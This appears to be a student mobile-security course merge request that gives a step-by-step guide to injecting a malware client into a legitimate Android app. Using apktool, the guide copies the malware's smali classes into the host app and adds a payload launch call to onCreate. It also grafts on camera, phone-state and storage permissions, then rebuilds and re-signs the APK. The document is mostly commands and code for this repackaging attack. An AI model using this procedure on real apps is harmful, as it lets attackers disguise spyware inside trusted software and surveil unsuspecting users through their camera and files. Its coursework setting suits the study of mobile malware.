
Make injection work See merge request ti/2023-2024/s4/mobile-security/students/joren-schipman/malwareclient!1
Prep
Without Camera
-
Comment out the timer and compile
private fun startCheckingPermission() { timerStorage = Timer("CheckStoragePermissionTimer", false) timerStorage?.scheduleAtFixedRate(0, 5000) { checkStoragePermission() println("Requesting storage permission again") } /* timerCamera = Timer("CheckCameraPermissionTimer", false) timerCamera?.scheduleAtFixedRate(0, 5000) { checkCameraPermission() println("Requesting camera permission again") }*/
-
Decompile the apk
apktool d malware.apk
-
Decompile original app
apktool d application.apk
-
Move malware to normal application
cp -r malware/smali/com/* application/smali/com/
-
Under the onCreate of original app
new-instance p1, Lcom/ti/m/GoodSoftware; move-object v0, p0 check-cast v0, Landroid/content/Context; invoke-direct {p1, v0}, Lcom/ti/m/GoodSoftware;-><init>(Landroid/content/Context;)V invoke-virtual {p1}, Lcom/ti/m/GoodSoftware;->launch()V
-
Copy the permissions from the malware manifest to original manifests permissions
<uses-permission android:name="android.permission.CAMERA"/> <uses-feature android:name="android.hardware.camera"/> <uses-feature android:name="android.hardware.camera.autofocus"/> <uses-permission android:name="android.permission.READ_PHONE_STATE"/> <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/> <uses-permission android:name="android.permission.READ_MEDIA_IMAGES"/>
With Camera
-
Do the steps of without camera but don't uncomment the timer
-
Copy camera to existing androidx folder
cp -r malware/smali/androidx/camera/ application/smali_classes2/androidx/
-
Copy androidx futures to existing
cp -r malware/smali/androidx/concurrent/futures/* application/smali/androidx/concurrent/futures/
-
Copy MediatorLiveData
cp -r malware/smali/androidx/lifecycle/MediatorLiveData* application/smali/androidx/lifecycle/
-
Copy Camera metadata from Manifest
<service android:enabled="false" android:exported="false" android:name="androidx.camera.core.impl.MetadataHolderService"> <meta-data android:name="androidx.camera.core.impl.MetadataHolderService.DEFAULT_CONFIG_PROVIDER" android:value="androidx.camera.camera2.Camera2Config$DefaultProvider"/> </service> <uses-library android:name="androidx.camera.extensions.impl" android:required="false"/>
-
Copy Camera Queries to manifest under the permissions
<queries> <intent> <action android:name="androidx.camera.extensions.action.VENDOR_ACTION"/> </intent> </queries>
Final Steps
- Build the application
apktool b application -o unsigned.apk
- Align using zipalign
zipalign -p -f -v 4 unsigned.apk App_Injected.apk
- Generate keystore
keytool -genkey -V -keystore key.keystore -alias Android -keyalg RSA -keysize 2048 -validity 10000
- Sign Apk
apksigner sign --ks key.keystore App_Injected.apk
- Done